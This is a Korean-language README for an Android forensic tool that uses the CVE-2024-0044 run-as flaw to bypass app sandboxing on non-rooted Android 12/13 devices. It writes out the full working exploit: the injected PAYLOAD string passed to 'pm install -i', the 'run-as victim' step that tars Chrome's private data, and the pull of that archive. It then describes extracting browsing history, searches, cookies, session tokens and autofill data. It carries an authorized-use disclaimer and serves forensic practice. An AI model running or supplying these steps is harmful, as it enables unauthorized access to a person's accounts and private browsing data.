
Android 기기에서 Google Chrome 아티팩트를 추출하고 분석하기 위한 강력한 디지털 포렌식 도구
작성자: JackTekno
GitHub: github.com/JackTekno
이 도구는 CVE-2024-0044 (Run-as) 취약점을 활용하여 루팅되지 않은 Android 12/13 기기에서 권한 제한을 우회함으로써 Google Chrome 데이터의 포렌식 추출을 가능하게 합니다. 이 도구는 원시 SQLite 데이터베이스를 파싱하고 포괄적인 분석 보고서를 생성합니다.

획득부터 보고서 작성까지의 완전한 포렌식 분석 워크플로우
이 도구는 다음 시트를 포함하는 포괄적인 Excel 보고서(result_chrome_forensic.xlsx)를 생성합니다:
F-Droid.apk)저장소 클론
git clone https://github.com/JackTekno/Chrome-Forensic_CVE-2024-0044.git
cd Chrome-Forensic_CVE-2024-0044
의존성 설치
pip install -r requirements.txt
# Push a dummy APK to temporary folder
adb push F-Droid.apk /data/local/tmp/base.apk
adb shell pm list packages -U | grep com.android.chrome
# Output example: package:com.android.chrome uid:10129
# Note the UID (e.g., 10129)
⚠️
10129를 3단계에서 확인한 실제 Chrome UID로 교체하세요
adb shell
# Inside ADB Shell:
PAYLOAD="@null
victim 10129 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
# Trigger the package manager
pm install -i "$PAYLOAD" /data/local/tmp/base.apk
# Still inside ADB Shell
run-as victim tar -cf - /data/data/com.android.chrome/ | cat > /data/local/tmp/chrome.tar
# Exit ADB Shell
exit
adb pull /data/local/tmp/chrome.tar .
프로젝트 폴더에서 'chrome.tar' 파일의 압축을 해제하세요. 파일을 수동으로 이동할 필요는 없습니다. Python 스크립트가 압축 해제된 폴더 안의 데이터베이스 파일을 자동으로 찾습니다.
tar -xf chrome.tar
포렌식 분석 도구 실행:
python3 chrome_forensic.py
도구가 데이터베이스 파일을 분석하고 같은 디렉터리에 result_chrome_forensic.xlsx를 생성합니다.
⚠️ 중요: 이 도구는 교육 및 승인된 포렌식 분석 목적으로만 설계되었습니다.
- 소유한 기기 또는 분석에 대한 명시적 서면 허가를 받은 기기에만 사용하세요
- 허가되지 않은 디지털 기기 접근은 해당 관할권의 법률을 위반할 수 있습니다
- 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다
기여는 언제나 환영합니다! 자유롭게 Pull Request를 제출해 주세요.
이 프로젝트는 GNU General Public License v3.0에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
획득 방법에 대한 개념 증명(PoC)은 Tinyhack.com이 요약하여 공유했습니다.
JackTekno가 ❤️로 제작
| 시트 이름 | 설명 |
|---|
| 📖 브라우징 기록 | 방문한 URL의 상세 타임라인 |
| 📈 분석 – 상위 사이트 | 가장 많이 방문한 도메인의 통계적 순위 |
| ⚠️ 알림 – 의심스러운 항목 | 자동 플래그된 URL(해킹, 마약, 성인 콘텐츠) |
| 📥 다운로드 | 경로 및 파일 크기를 포함한 다운로드 기록 |
| 🔍 검색어 | 옴니박스/Google의 사용자 검색 쿼리 |
| 🍪 쿠키 및 세션 | 세션 토큰 및 쿠키 메타데이터(Hex 암호화) |
| ✍️ 자동 완성 데이터 | 저장된 양식 데이터(이름, 주소 등) |